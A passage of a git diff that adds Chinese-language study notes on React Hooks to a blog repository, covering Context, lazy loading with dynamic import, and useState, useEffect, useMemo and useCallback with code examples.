ThemeContext.Provider 作为根组件 + return ( + // 使用 themes.dark 作为当前 Context + + + + ); +} + +// 在 Toolbar 组件中使用一个会使用 Theme 的 Button +function Toolbar(props) { + return ( +
    + +
    + ); +} + +// 在 Theme Button 中使用 useContext 来获取当前的主题 +function ThemedButton() { + const theme = useContext(ThemeContext); + return ( + + ); +} +``` + +> Context 看上去就是一个全局的数据,为什么要设计这样一个复杂的机制,而不是直接用一个全局的变量去保存数据呢? +> +> **为了能够进行数据的绑定** + +Context 相当于提供了一个定义 React 世界中全局变量的机制,而全局变量则意味着两点: + +1. 会让调试变得困难,因为你很难跟踪某个 Context 的变化究竟是如何产生的。 +2. 让组件的复用变得困难,因为一个组件如果使用了某个 Context,它就必须确保被用到的地方一定有这个 Context 的 Provider 在其父组件的路径上 + +所以在 React 的开发中,除了像 Theme、Language 等一目了然的需要全局设置的变量外,我们很少会使用 Context 来做太多数据的共享。需要再三强调的是,**Context 更多的是提供了一个强大的机制,让 React 应用具备定义全局的响应式数据的能力。** diff --git "a/src/React/React Hooks\347\254\224\350\256\260/React Hooks \345\237\272\347\241\200.md" "b/src/React/React Hooks\347\254\224\350\256\260/React Hooks \345\237\272\347\241\200.md" new file mode 100644 index 00000000..2922e418 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/React Hooks \345\237\272\347\241\200.md" @@ -0,0 +1,167 @@ +--- +date: 2022-05-17 +category: +- React +- React Hooks +--- +# React Hooks 基础 + +img + +## 思考 React 组件的本质 + +React 组件的模型其实很直观,就是从 Model 到 View 的映射,这里的 Model 对应到 React 中就是 state 和 props。如下图所示: + +img + +在过去,我们需要处理当 Model 变化时,DOM 节点应该如何变化的细节问题。而现在,我们只需要通过 JSX,根据 Model 的数据用声明的方式去描述 UI 的最终展现就可以了,因为 React 会帮助你处理所有 DOM 变化的细节。而且,当 Model 中的状态发生变化时,UI 会自动变化,**即所谓的数据绑定。** + +所以呢,我们可以把 UI 的展现看成一个函数的执行过程。其中,Model 是输入参数,函数的执行结果是 DOM 树,也就是 View。而 React 要保证的,就是每当 Model 发生变化时,函数会重新执行,并且生成新的 DOM 树,然后 React 再把新的 DOM 树以最优的方式更新到浏览器。 + +一方面,React 组件之间是不会互相继承的。比如说,你不会创建一个 Button 组件,然后再创建一个 DropdownButton 来继承 Button。所以说,React 中其实是没有利用到 Class 的继承特性的。 + +另一方面,因为所有 UI 都是由状态驱动的,因此很少会在外部去调用一个类实例(即组件)的方法。要知道,组件的所有方法都是在内部调用,或者作为生命周期方法被自动调用的。 + +## Hooks 是如何诞生的? + +简单想一下,函数和对象不同,并没有一个实例的对象能够在多次执行之间保存状态,那势必需要一个函数之外的空间来保存这个状态,而且要能够检测其变化,从而能够触发函数组件的重新渲染。 + +再进一步想,那我们是不是就是需要这样一个机制,能够把一个外部的数据绑定到函数的执行。当数据变化时,函数能够自动重新执行。这样的话,任何会影响 UI 展现的外部数据,都可以通过这个机制绑定到 React 的函数组件。 + +在 React 中,这个机制就是 Hooks。 + +在 React 中,**Hooks 就是把某个目标结果钩到某个可能会变化的数据源或者事件源上,那么当被钩到的数据或事件发生变化时,产生这个目标结果的代码会重新执行,产生更新后的结果。** + +对于函数组件,这个结果是最终的 DOM 树;对于 useCallback、useMemo 这样与缓存相关的组件,则是在依赖项发生变化时去更新缓存。所以 Hooks 的结构可以如下图所示: + +![img](https://cdn.yihuiblog.top/images/f764a904bba8836597e441884804b41d.png) + +从图中可以看到,一个执行过程(Execution),例如是函数组件本身,可以绑定在(钩在)传统意义的 State,或者 URL,甚至可以是窗口的大小。这样当 State、URL、窗口大小发生变化时,都会重新执行某个函数,产生更新后的结果。 + +当然,既然我们的初衷是为了实现 UI 组件的渲染,那么在 React 中,其实所有的 Hooks 的最终结果都是导致 UI 的变化。但是正如 React 官方曾经提到过的,**Hooks 的思想其实不仅可以用在 React,在其它一些场景也可以被利用。** + +Hooks 中被钩的对象,不仅可以是某个独立的数据源,也可以是另一个 Hook 执行的结果,这就带来了 Hooks 的最大好处:逻辑的复用。 + +## Hooks 带来的最大好处:逻辑复用 + +在之前的 React 使用中,有一点经常被大家诟病,就是非常难以实现逻辑的复用,必须借助于高阶组件等复杂的设计模式。但是高阶组件会产生冗余的组件节点,让调试变得困难。不过这些问题可以通过 Hooks 得到很好的解决。所以如果有人问你 Hooks 有什么好处,那么最关键的答案就是**简化了逻辑复用。** + +就以刚才我们提到的绑定窗口大小的场景为例。如果有多个组件需要在用户调整浏览器窗口大小时,重新调整布局,那么我们需要把这样的逻辑提取成一个公共的模块供多个组件使用。以 React 思想,在 JSX 中我们会根据 Size 大小来渲染不同的组件,例如: + +```jsx +function render() { + if (size === "small") return ; + else return ; +} +``` + +这段代码看上去简单,但如果在过去的 Class 组件中,我们甚至需要一个比较复杂的设计模式来解决,这就是高阶组件。 + +在 Class 组件的场景下,我们首先需要定义一个高阶组件,负责监听窗口大小变化,并将变化后的值作为 props 传给下一个组件。 + +```jsx +const withWindowSize = Component => { + // 产生一个高阶组件 WrappedComponent,只包含监听窗口大小的逻辑 + class WrappedComponent extends React.PureComponent { + constructor(props) { + super(props); + this.state = { + size: this.getSize() + }; + } + componentDidMount() { + window.addEventListener("resize", this.handleResize); + } + componentWillUnmount() { + window.removeEventListener("resize", this.handleResize); + } + getSize() { + return window.innerWidth > 1000 ? "large" :"small"; + } + handleResize = ()=> { + const currentSize = this.getSize(); + this.setState({ + size: this.getSize() + }); + } + render() { + // 将窗口大小传递给真正的业务逻辑组件 + return ; + } + } + return WrappedComponent; +}; +``` + +这样,在你的自定义组件中可以调用 withWindowSize 这样的函数来产生一个新组件,并自带 size 属性,例如: + +```jsx +class MyComponent extends React.Component{ + render() { + const { size } = this.props; + if (size === "small") return ; + else return ; + } +} +// 使用 withWindowSize 产生高阶组件,用于产生 size 属性传递给真正的业务组件 +export default withWindowSize(MyComponent); +``` + +在这里,我们可以看到,为了传递一个外部的状态,我们不得不定义一个没有 UI 的外层组件,而这个组件只是为了封装一段可重用的逻辑。更为糟糕的是,高阶组件几乎是 Class 组件中实现代码逻辑复用的唯一方式,其缺点其实比较显然: + +1. 代码难理解,不直观,很多人甚至宁愿重复代码,也不愿用高阶组件; +2. 会增加很多额外的组件节点。每一个高阶组件都会多一层节点,这就会给调试带来很大的负担。 + +可以说,正因为这些缺点被抱怨已久,React 团队才终于提出了 Hooks 这样一个全新的方案。那么现在我们不妨看一下,同样的逻辑如果用 Hooks 和函数组件该如何实现。首先我们需要实现一个 Hooks: + +```jsx +const getSize = () => { + return window.innerWidth > 1000 ? "large" : "small"; +} +const useWindowSize = () => { + const [size, setSize] = useState(getSize()); + useEffect(() => { + const handler = () => { + setSize(getSize()) + }; + window.addEventListener('resize', handler); + return () => { + window.removeEventListener('resize', handler); + }; + }, []); + + return size; +}; +``` + +这样,我们在组件中使用窗口大小就会非常简单: + +```jsx +const Demo = () => { + const size = useWindowSize(); + if (size === "small") return ; + else return ; +}; +``` + +可以看到,窗口大小是一个外部的一个数据状态,我们通过 Hooks 的方式对其进行了封装,从而将其变成一个可绑定的数据源。这样当窗口大小发生变化时,使用这个 Hook 的组件就都会重新渲染。而且代码也更加简洁和直观,不会产生额外的组件节点。 + +## Hooks 的另一大好处:有助于关注分离 + +除了逻辑复用之外,Hooks 能够带来的另外一大好处就是**有助于关注分离**,意思是说 Hooks 能够让针对同一个业务逻辑的代码尽可能聚合在一块儿。这是过去在 Class 组件中很难做到的。因为在 Class 组件中,你不得不把同一个业务逻辑的代码分散在类组件的不同生命周期的方法中。 + +所以通过 Hooks 的方式,把业务逻辑清晰地隔离开,能够让代码更加容易理解和维护。仍然以上面监听浏览器窗口大小的变化为例,我们来看 Hooks 是如何做到关注分离的。在过去的 Class 组件中,我们需要在 componentDidMount 中监听事件,在 componentWillUnmount 中去解绑事件。而在函数组件中,我们可以把所有逻辑写在一起。 + +React 社区曾用一张图直观地展现了对比结果: + +![img](https://cdn.yihuiblog.top/images/f8a255ca1ec737a8ff5a40160e789fd5.png) + +图的左侧是 Class 组件,右侧是函数组件结合 Hooks。 + +## 小结 + +Hooks 作为 React 自诞生以来最大的一个新功能,可以说得到了普遍好评,成为了 React 开发的主流方式。而它也在一定程度上**更好地体现了 React 的开发思想,即从 State => View 的函数式映射。** + + 此外, Hooks 也解决了 Class 组件存在的一些代码冗余、难以逻辑复用的问题。 + +> 组合的话组件之间就仅仅需要通过 props 的方式来互相交互,依赖关系更加清楚,组件内聚性更好。继承会让两个组件紧密耦合到一起。继承也不是完全不能用,只是非常不推荐。在 React 中,继承要达到的目的用组合完全可以 cover。 diff --git "a/src/React/React Hooks\347\254\224\350\256\260/React \345\256\236\347\216\260\346\214\211\351\234\200\345\212\240\350\275\275.md" "b/src/React/React Hooks\347\254\224\350\256\260/React \345\256\236\347\216\260\346\214\211\351\234\200\345\212\240\350\275\275.md" new file mode 100644 index 00000000..ffca3e14 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/React \345\256\236\347\216\260\346\214\211\351\234\200\345\212\240\350\275\275.md" @@ -0,0 +1,62 @@ +--- +date: 2022-05-12 +category: +- React +- React Hooks +--- + +# React 实现按需加载 + +如何控制好整个应用的大小,以及如何提升加载性能,才能确保应用的打开速度够快。 + +照此来看,为了提高首屏加载速度,我们就需要对应用进行分包。首先,在打开某个页面时,只加载这个页面相关的内容,也就是按需加载。同时,为了提升后续应用的打开速度,就需要采用高效的缓存策略,避免前端资源的重复下载。 + +## 如何实现按需加载? + +### 使用 import 语句,定义按需加载的起始模块 + +所谓按需加载,就是指在某个组件需要被渲染到页面时,才会去实际地下载这个页面,以及这个页面依赖的所有代码。比如当用户打开 /users/profile 这个页面时,才会真正加载对应组件的代码。如下图所示,就展示了这样一个结构,其中 Profile Page 就是需要动态加载的组件。 + +![img](https://cdn.yihuiblog.top/images/4a598368ee8dcf95ed5968536105cffc.png) + +要实现这个功能,本质上在于,我们需要有动态加载模块的能力。也就是在运行时去加载模块,而不是静态地去 import 一个模块。对于这个需求,ECMA Script 标准有一个提案,专门用于动态加载模块,语法是 import(someModule)。 + +注意,这里的 import 和我们一般用于引入模块的静态声明方式不同,比如 import something from 'somemodule' 。但这里的 import 是作为一个函数动态运行的,这个 import() 函数会返回一个 Promise。这样,在模块加载成功后,我们就可以在 Promise 的 then 回调函数中去使用这个模块了。 + +**虽然这只是一个提案,并没有成为标准,但是 Webpack 等打包工具利用了这样的语法去定义代码的分包。也就是说,Webpack 实现了这样的语法。** + +```jsx +function ProfilePage() { + // 定义一个 state 用于存放需要加载的组件 + const [RealPage, setRealPage] = useState(null); + + // 根据路径动态加载真正的组件实现 + import('./RealProfilePage').then((comp) => { + setRealPage(Comp); + }); + // 如果组件未加载则显示 Loading 状态 + if (!RealPage) return 'Loading....'; + + // 组件加载成功后则将其渲染到界面 + return +} +``` + +在这段代码中,我们定义了 ProfilePage 这样一个实现按需加载功能的组件。这个组件只有被执行时,也就是渲染到界面上时,才会真正加载具体的实现代码。 + +这里要理解的关键点就在于,**import() 这个语句完全是由 Webpack 进行处理的。**Webpack 会将以“./RealProfilePage”模块为起点的所有依赖模块,单独打成一个包。并且,Webpack 还会生成代码,用于按需加载这个模块。 + +理解了这一点,我们也就知道了按需加载的实现原理:Webpack 利用了动态 import 语句,自动实现了整个应用的拆包。而我们在实际开发中,其实并不需要关心 Webpack 是如何做到的,而只需要考虑:该在哪个位置使用 import 语句去定义动态加载的拆分点。 + + + +总体需要采用的策略是:按业务模块为目标去做隔离,尽量在每个模块的起始页面去定义这个拆分点。 + +### 使用 react-lodable,实现组件的异步加载 + +上面的例子你已经看到了如何去实现一个 React 组件的动态加载,它的总体思路其实主要就是三个部分: + +1. 定义一个加载器组件,在使用的地方依赖于这个加载器组件而不是原组件; +2. 在加载器组件的执行过程中,使用 import 去动态加载真实的实现代码; +3. 处理加载过程,和加载出错的场景,确保用户体验。 + diff --git "a/src/React/React Hooks\347\254\224\350\256\260/ReactHooks\346\261\207\346\200\273.md" "b/src/React/React Hooks\347\254\224\350\256\260/ReactHooks\346\261\207\346\200\273.md" new file mode 100644 index 00000000..42fa398d --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/ReactHooks\346\261\207\346\200\273.md" @@ -0,0 +1,443 @@ +--- +date: 2022-05-12 +category: +- React +--- +# ReactHooks 汇总 + +> React-hooks是react16.8以后,react新增的钩子API,目的是增加代码的可复用性,逻辑性,弥补无状态组件没有生命周期,没有数据管理状态state的缺陷。笔者认为,react-hooks思想和初衷,也是把组件,颗粒化,单元化,形成独立的渲染环境,减少渲染次数,优化性能。 + +useCallback✅ + +useContext✅ + +useEffect✅ + +useLayoutEffect ✅ + +useMemo ✅ + +useReducer✅ + +useRef✅ + +useState✅ + +## 为什么要使用hooks + +我们为什么要使用react-hooks呢,首先和传统的class声明的有状态有这显著的优点就是 + +1 react-hooks可以让我们的代码的逻辑性更强,可以抽离公共的方法,公共组件。 + +2 react-hooks思想更趋近于函数式编程。 + +3 react-hooks可能把庞大的class组件,化整为零成很多小组件,useMemo等方法让组件或者变量制定一个适合自己的独立的渲染空间,一定程度上可以提高性能,减少渲染次数。 + +## 如何使用hooks + +### useState 数据存储,派发更新 + +useState出现,使得react无状态组件能够像有状态组件一样,可以拥有自己state,useState的参数可以是一个具体的值,也可以是一个函数用于判断复杂的逻辑,函数返回作为初始值,usestate 返回一个数组,数组第一项用于读取此时的state值 ,第二项为派发数据更新,组件渲染的函数,函数的参数即是需要更新的值。useState和useReduce 作为能够触发组件重新渲染的hooks,我们在使用useState的时候要特别注意的是,useState派发更新函数的执行,就会让整个function组件从头到尾执行一次,所以需要配合useMemo,usecallback等api配合使用,这就是我说的为什么滥用hooks会带来负作用的原因之一了。一下代码为usestate基本应用 + +```jsx +const DemoState = (props) => { + /* number为此时state读取值 ,setNumber为派发更新的函数 */ + let [number, setNumber] = useState(0) /* 0为初始值 */ + return (
    + { number } + +
    ) +} +``` + +上边简单的例子说明了useState ,但是当我们在调用更新函数之后,state的值是不能即时改变的,只有当下一次上下文执行的时候,state值才随之改变。 + +```jsx +const a =1 +const DemoState = (props) => { + /* useState 第一个参数如果是函数 则处理复杂的逻辑 ,返回值为初始值 */ + let [number, setNumber] = useState(()=>{ + // number + return a===1 ? 1 : 2 + }) /* 1为初始值 */ + return (
    + { number } + +
    ) +} +``` + +### useEffect 组件更新副作用钩子 + +如果你想在function组件中,当组件完成挂载,dom渲染完成,做一些操纵dom,请求数据,那么useEffect是一个不二选择,如果我们需要在组件初次渲染的时候请求数据,那么useEffect可以充当class组件中的 componentDidMount , **但是特别注意的是,如果不给useEffect执行加入限定条件,函数组件每一次更新都会触发effect ,那么也就说明每一次state更新,或是props的更新都会触发useEffect执行,此时的effect又充当了componentDidUpdate和componentwillreceiveprops,所以说合理的用于useEffect就要给effect加入限定执行的条件,也就是useEffect的第二个参数,这里说是限定条件,也可以说是上一次useeffect更新收集的某些记录数据变化的记忆,在新的一轮更新,useeffect会拿出之前的记忆值和当前值做对比,如果发生了变化就执行新的一轮useEffect的副作用函数,useEffect第二个参数是一个数组,用来收集多个限制条件 。** + +```jsx +/* 模拟数据交互 */ +function getUserInfo(a){ + return new Promise((resolve)=>{ + setTimeout(()=>{ + resolve({ + name:a, + age:16, + }) + },500) + }) +} + +const Demo = ({ a }) => { + const [ userMessage , setUserMessage ] :any= useState({}) + const div= useRef() + const [number, setNumber] = useState(0) + /* 模拟事件监听处理函数 */ + const handleResize =()=>{} + /* useEffect使用 ,这里如果不加限制 ,会是函数重复执行,陷入死循环*/ + useEffect(()=>{ + /* 请求数据 */ + getUserInfo(a).then(res=>{ + setUserMessage(res) + }) + /* 操作dom */ + console.log(div.current) /* div */ + /* 事件监听等 */ + window.addEventListener('resize', handleResize) + /* 只有当props->a和state->number改变的时候 ,useEffect副作用函数重新执行 ,如果此时数组为空[],证明函数只有在初始化的时候执行一次相当于componentDidMount */ + },[ a ,number ]) + return (
    + { userMessage.name } + { userMessage.age } +
    setNumber(1) } >{ number }
    +
    ) +} +``` + +如果我们需要在组件销毁的阶段,做一些取消dom监听,清除定时器等操作,那么我们可以在useEffect函数第一个参数,结尾返回一个函数,用于清除这些副作用。相当与componentWillUnmount。 + +```jsx +const Demo = ({ a }) => { + /* 模拟事件监听处理函数 */ + const handleResize =()=>{} + useEffect(()=>{ + /* 定时器 延时器等 */ + const timer = setInterval(()=>console.log(666),1000) + /* 事件监听 */ + window.addEventListener('resize', handleResize) + /* 此函数用于清除副作用 */ + return function(){ + clearInterval(timer) + window.removeEventListener('resize', handleResize) + } + },[ a ]) + return (
    +
    ) +} +``` + +#### 异步 async effect ? + +提醒大家的是 useEffect是不能直接用 async await 语法糖的 + +```js +/* 错误用法 ,effect不支持直接 async await 装饰的 */ + useEffect(async ()=>{ + /* 请求数据 */ + const res = await getUserInfo(payload) + },[ a ,number ]) + + +``` + +如果我们想要用 async effect 可以对effect进行一层包装(传入async await装饰的回调函数) + +```js +const asyncEffect = (callback, deps)=>{ + useEffect(()=>{ + callback() + },deps) +} +``` + +### useLayoutEffect 渲染更新之前的 useEffect + +useEffect 执行顺序:组件更新挂载完成 -> 浏览器dom 绘制完成 -> 执行useEffect回调 。 + +useLayoutEffect 执行顺序:组件更新挂载完成 -> 执行useLayoutEffect回调-> 浏览器dom 绘制完成 + +所以说useLayoutEffect 代码可能会阻塞浏览器的绘制 如果我们在useEffect 重新请求数据,渲染视图过程中,肯定会造成画面闪动的效果,而如果用useLayoutEffect ,**回调函数的代码就会阻塞浏览器绘制**,所以可定会引起画面卡顿等效果,那么具体要用 useLayoutEffect 还是 useEffect ,要看实际项目的情况,大部分的情况 useEffect 都可以满足的。 + +```jsx +const DemoUseLayoutEffect = () => { + const target = useRef() + useLayoutEffect(() => { + /*我们需要在dom绘制之前,移动dom到制定位置*/ + const { x ,y } = getPositon() /* 获取要移动的 x,y坐标 */ + animate(target.current,{ x,y }) + }, []); + return ( +
    + +
    + ) +} +``` + +### useRef 获取元素 ,缓存数据。 + +和传统的class组件ref一样,react-hooks 也提供获取元素方法 useRef,它有一个参数可以作为缓存数据的初始值,返回值可以被dom元素ref标记,可以获取被标记的元素节点. + +```jsx +const DemoUseRef = ()=>{ + const dom= useRef(null) + const handerSubmit = ()=>{ + /*
    表单组件
    dom 节点 */ + console.log(dom.current) + } + return
    + {/* ref 标记当前dom节点 */} +
    表单组件
    + +
    +} +``` + +#### 高阶用法 缓存数据 + +**当然useRef还有一个很重要的作用就是缓存数据,我们知道usestate ,useReducer 是可以保存当前的数据源的,但是如果它们更新数据源的函数执行必定会带来整个组件从新执行到渲染,如果在函数组件内部声明变量,则下一次更新也会重置,如果我们想要悄悄的保存数据,而又不想触发函数的更新,那么useRef是一个很棒的选择。** + +> const currenRef = useRef(InitialData) + +获取 currenRef.current 改变 currenRef.current = newValue + +useRef可以第一个参数可以用来初始化保存数据,这些数据可以在current属性上获取到 ,当然我们也可以通过对current赋值新的数据源。 + +### useContext 自由获取context + +我们可以使用useContext ,来获取父级组件传递过来的context值,**这个当前值就是最近的父级组件 Provider 设置的value值**,useContext参数一般是由 createContext 方式引入 ,也可以父级上下文context传递 ( 参数为context )。useContext 可以代替 context.Consumer 来获取Provider中保存的value值 + +```jsx +/* 用useContext方式 */ +const DemoContext = ()=> { + const value:any = useContext(Context) + /* my name is alien */ +return
    my name is { value.name }
    +} + +/* 用Context.Consumer 方式 */ +const DemoContext1 = ()=>{ + return + {/* my name is alien */} + { (value)=>
    my name is { value.name }
    } +
    +} + +export default ()=>{ + return
    + + + + +
    +} +``` + +### useReducer 无状态组件中的redux + +useReducer 是react-hooks提供的能够在无状态组件中运行的类似redux的功能api,至于它到底能不能代替redux react-redux ,我个人的看法是不能的 ,redux 能够复杂的逻辑中展现优势 ,而且 redux的中间件模式思想也是非常优秀了,我们可以通过中间件的方式来增强dispatch redux-thunk redux-sage redux-action redux-promise都是比较不错的中间件,可以把同步reducer编程异步的reducer。useReducer 接受的第一个参数是一个函数,我们可以认为它就是一个reducer ,reducer的参数就是常规reducer里面的state和action,返回改变后的state, useReducer第二个参数为state的初始值 返回一个数组,数组的第一项就是更新之后state的值 ,第二个参数是派发更新的dispatch函数 。**dispatch 的触发会触发组件的更新,这里能够促使组件从新的渲染的一个是useState派发更新函数,另一个就 useReducer中的dispatch** + +```jsx +const DemoUseReducer = ()=>{ + /* number为更新后的state值, dispatchNumbner 为当前的派发函数 */ + const [ number , dispatchNumbner ] = useReducer((state,action)=>{ + const { payload , name } = action + /* return的值为新的state */ + switch(name){ + case 'add': + return state + 1 + case 'sub': + return state - 1 + case 'reset': + return payload + } + return state + },0) + return
    + 当前值:{ number } + { /* 派发更新 */ } + + + + { /* 把dispatch 和 state 传递给子组件 */ } + +
    +} +``` + +当然实际业务逻辑可能更复杂的,需要我们在reducer里面做更复杂的逻辑操作。 + +### useMemo 小而香性能优化 + +useMemo我认为是React设计最为精妙的hooks之一,优点就是能形成独立的渲染空间,能够使组件,变量按照约定好规则更新。渲染条件依赖于第二个参数deps。 我们知道无状态组件的更新是从头到尾的更新,如果你想要从新渲染一部分视图,而不是整个组件,那么用useMemo是最佳方案,避免了不需要的更新,和不必要的上下文的执行,在介绍useMemo之前,我们先来说一说, memo, 我们知道class声明的组件可以用componentShouldUpdate来限制更新次数,那么memo就是无状态组件的ShouldUpdate , 而我们今天要讲的useMemo就是更为细小的ShouldUpdate单元, + +先来看看memo ,memo的作用结合了pureComponent纯组件和 componentShouldUpdate功能,会对传进来的props进行一次对比,然后根据第二个函数返回值来进一步判断哪些props需要更新。 + +```jsx +/* memo包裹的组件,就给该组件加了限制更新的条件,是否更新取决于memo第二个参数返回的boolean值, */ +const DemoMemo = connect(state => + ({ goodList: state.goodList }) +)(memo(({ goodList, dispatch, }) => { + useEffect(() => { + dispatch({ + name: 'goodList', + }) + }, []) + return + /* 判断之前的goodList 和新的goodList 是否相等,如果相等, + 则不更新此组件 这样就可以制定属于自己的渲染约定 ,让组件只有满足预定的下才重新渲染 */ +}, (pre, next) => is(pre.goodList, next.goodList))) +``` + +useMemo的应用理念和memo差不多,都是判定是否满足当前的限定条件来决定是否执行useMemo的callback函数,而useMemo的第二个参数是一个deps数组,数组里的参数变化决定了useMemo是否更新回调函数,useMemo返回值就是经过判定更新的结果。它可以应用在元素上,应用在组件上,也可以应用在上下文当中。如果又一个循环的list元素,那么useMemo会是一个不二选择,接下来我们一起探寻一下useMemo的优点 + +```js +/* 用 useMemo包裹的list可以限定当且仅当list改变的时候才更新此list,这样就可以避免selectList重新循环 */ + {useMemo(() => ( +
    { + selectList.map((i, v) => ( + + {i.patentName} + + ))} +
    +), [selectList])} +``` + +**1 useMemo可以减少不必要的循环,减少不必要的渲染** + +```js + useMemo(() => ( + 取消, + + ]} + > + { /* 减少了PatentTable组件的渲染 */ } + + + ), [listshow, cacheSelectList]) +``` + +**2 useMemo可以减少子组件的渲染次数** + +```jsx +const DemoUseMemo=()=>{ + /* 用useMemo 包裹之后的log函数可以避免了每次组件更新再重新声明 ,可以限制上下文的执行 */ + const newLog = useMemo(()=>{ + const log =()=>{ + console.log(6666) + } + return log + },[]) + return
    newLog()} >
    +} +``` + +**3 useMemo让函数在某个依赖项改变的时候才运行,这可以避免很多不必要的开销(这里要注意⚠️⚠️⚠️的是如果被useMemo包裹起来的上下文,形成一个独立的闭包,会缓存之前的state值,如果没有加相关的更新条件,是获取不到更新之后的state的值的,如下边👇⬇️)** + +```jsx +const DemoUseMemo=()=>{ + const [ number ,setNumber ] = useState(0) + const newLog = useMemo(()=>{ + const log =()=>{ + /* 点击span之后 打印出来的number 不是实时更新的number值 */ + console.log(number) + } + return log + /* [] 没有 number */ + },[]) + return
    +
    newLog()} >打印
    + setNumber( number + 1 ) } >增加 +
    +} +``` + +**useMemo很不错,react-redux 用react-hooks重写后运用了大量的useMemo情景,我为大家分析两处** + +useMemo 同过 store didStoreComeFromProps contextValue 属性制定是否需要重置更新订阅者subscription ,这里我就不为大家讲解react-redux了,有兴趣的同学可以看看react-redux源码,看看是怎么用useMemo的 + +```js +const [subscription, notifyNestedSubs] = useMemo(() => { + if (!shouldHandleStateChanges) return NO_SUBSCRIPTION_ARRAY + + const subscription = new Subscription( + store, + didStoreComeFromProps ? null : contextValue.subscription // old + ) + + const notifyNestedSubs = subscription.notifyNestedSubs.bind( + subscription + ) + + return [subscription, notifyNestedSubs] +}, [store, didStoreComeFromProps, contextValue]) +``` + +react-redux通过 判断 redux store的改变来获取与之对应的state + +```js + const previousState = useMemo(() => store.getState(), [store]) +``` + +讲到这里,**如果我们应用useMemo根据依赖项合理的颗粒化我们的组件,能起到很棒的优化组件的作用。** + +### 8 useCallback useMemo版本的回调函数 + +useMemo和useCallback接收的参数都是一样,都是在其依赖项发生变化后才执行,都是返回缓存的值,区别在于useMemo返回的是函数运行的结果,useCallback返回的是函数,这个回调函数是经过处理后的也就是说父组件传递一个函数给子组件的时候,由于是无状态组件每一次都会重新生成新的props函数,这样就使得每一次传递给子组件的函数都发生了变化,这时候就会触发子组件的更新,这些更新是没有必要的,此时我们就可以通过usecallback来处理此函数,然后作为props传递给子组件 + +```js +/* 用react.memo */ +const DemoChildren = React.memo((props)=>{ + /* 只有初始化的时候打印了 子组件更新 */ + console.log('子组件更新') + useEffect(()=>{ + props.getInfo('子组件') + },[]) + return
    子组件
    +}) + +const DemoUseCallback=({ id })=>{ + const [number, setNumber] = useState(1) + /* 此时usecallback的第一参数 (sonName)=>{ console.log(sonName) } + 经过处理赋值给 getInfo */ + const getInfo = useCallback((sonName)=>{ + console.log(sonName) + },[id]) + return
    + {/* 点击按钮触发父组件更新 ,但是子组件没有更新 */} + + +
    +} +``` + +**这里应该提醒的是,useCallback ,必须配合 react.memo pureComponent ,否则不但不会提升性能,还有可能降低性能** diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\345\206\205\347\275\256 Hooks\357\274\2101\357\274\211\357\274\232\345\246\202\344\275\225\344\277\235\345\255\230\347\273\204\344\273\266\347\212\266\346\200\201\345\222\214\344\275\277\347\224\250\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" "b/src/React/React Hooks\347\254\224\350\256\260/\345\206\205\347\275\256 Hooks\357\274\2101\357\274\211\357\274\232\345\246\202\344\275\225\344\277\235\345\255\230\347\273\204\344\273\266\347\212\266\346\200\201\345\222\214\344\275\277\347\224\250\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" new file mode 100644 index 00000000..441bbcfb --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\345\206\205\347\275\256 Hooks\357\274\2101\357\274\211\357\274\232\345\246\202\344\275\225\344\277\235\345\255\230\347\273\204\344\273\266\347\212\266\346\200\201\345\222\214\344\275\277\347\224\250\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" @@ -0,0 +1,194 @@ +--- +date: 2022-05-17 +category: +- React +- React Hooks +--- +# 内置 Hooks(1):如何保存组件状态和使用生命周期? + +## useState:让函数组件具有维持状态的能力 + +在第一讲中,你已经知道了 state 是 React 组件的一个核心机制,那么 useState 这个 Hook 就是用来管理 state 的,它可以让函数组件具有**维持状态的能力**。也就是说,在一个函数组件的多次渲染之间,这个 state 是共享的。下面这个例子就显示了 useState 的用法: + +```jsx +import React, { useState } from 'react'; + +function Example() { + // 创建一个保存 count 的 state,并给初始值 0 + const [count, setCount] = useState(0); + + return ( +
    +

    {count}

    + +
    + ); +} +``` + +在这个例子中,我们声明了一个名为 count 的 state,并得到了设置这个 count 值的函数 setCount。当调用 setCount 时,count 这个 state 就会被更新,并触发组件的刷新。那么 useState 这个 Hook 的用法总结出来就是这样的: + +1. useState(initialState) 的参数 initialState 是创建 state 的初始值,它可以是任意类型,比如数字、对象、数组等等。 + +2. useState() 的返回值是一个有着两个元素的数组。第一个数组元素用来读取 state 的值,第二个则是用来设置这个 state 的值。在这里要注意的是,state 的变量(例子中的 count)是只读的,所以我们必须通过第二个数组元素 setCount 来设置它的值。 + +3. 如果要创建多个 state,那么我们就需要多次调用 useState。比如要创建多个 state,使用的代码如下: + + ```jsx + // 定义一个年龄的 state,初始值是 42 + const [age, setAge] = useState(42); + // 定义一个水果的 state,初始值是 banana + const [fruit, setFruit] = useState('banana'); + // 定一个一个数组 state,初始值是包含一个 todo 的数组 + const [todos, setTodos] = useState([{ text: 'Learn Hooks' }]); + ``` + +类组件中的 state 只能有一个。所以我们一般都是把一个对象作为 一个 state,然后再通过不同的属性来表示不同的状态。而函数组件中用 useState 则可以很容易地创建多个 state,所以它更加语义化。 + +**我们要遵循的一个原则就是:state 中永远不要保存可以通过计算得到的值。比如说:** + +1. 从 props 传递过来的值。有时候 props 传递过来的值无法直接使用,而是要通过一定的计算后再在 UI 上展示,比如说排序。那么我们要做的就是每次用的时候,都重新排序一下,或者利用某些 cache 机制,而不是将结果直接放到 state 里。 +2. 从 URL 中读到的值。比如有时需要读取 URL 中的参数,把它作为组件的一部分状态。那么我们可以在每次需要用的时候从 URL 中读取,而不是读出来直接放到 state 里。 +3. 从 cookie、localStorage 中读取的值。通常来说,也是每次要用的时候直接去读取,而不是读出来后放到 state 里。 + +不过,state 虽然便于维护状态,但也有自己的弊端。**一旦组件有自己状态,意味着组件如果重新创建,就需要有恢复状态的过程,这通常会让组件变得更复杂。** + +比如一个组件想在服务器端请求获取一个用户列表并显示,如果把读取到的数据放到本地的 state 里,那么每个用到这个组件的地方,就都需要重新获取一遍。(重新获取一遍的意思是,一个组件多处使用那么每个组件的状态互不干扰独立存在。) + +## useEffect:执行副作用 + 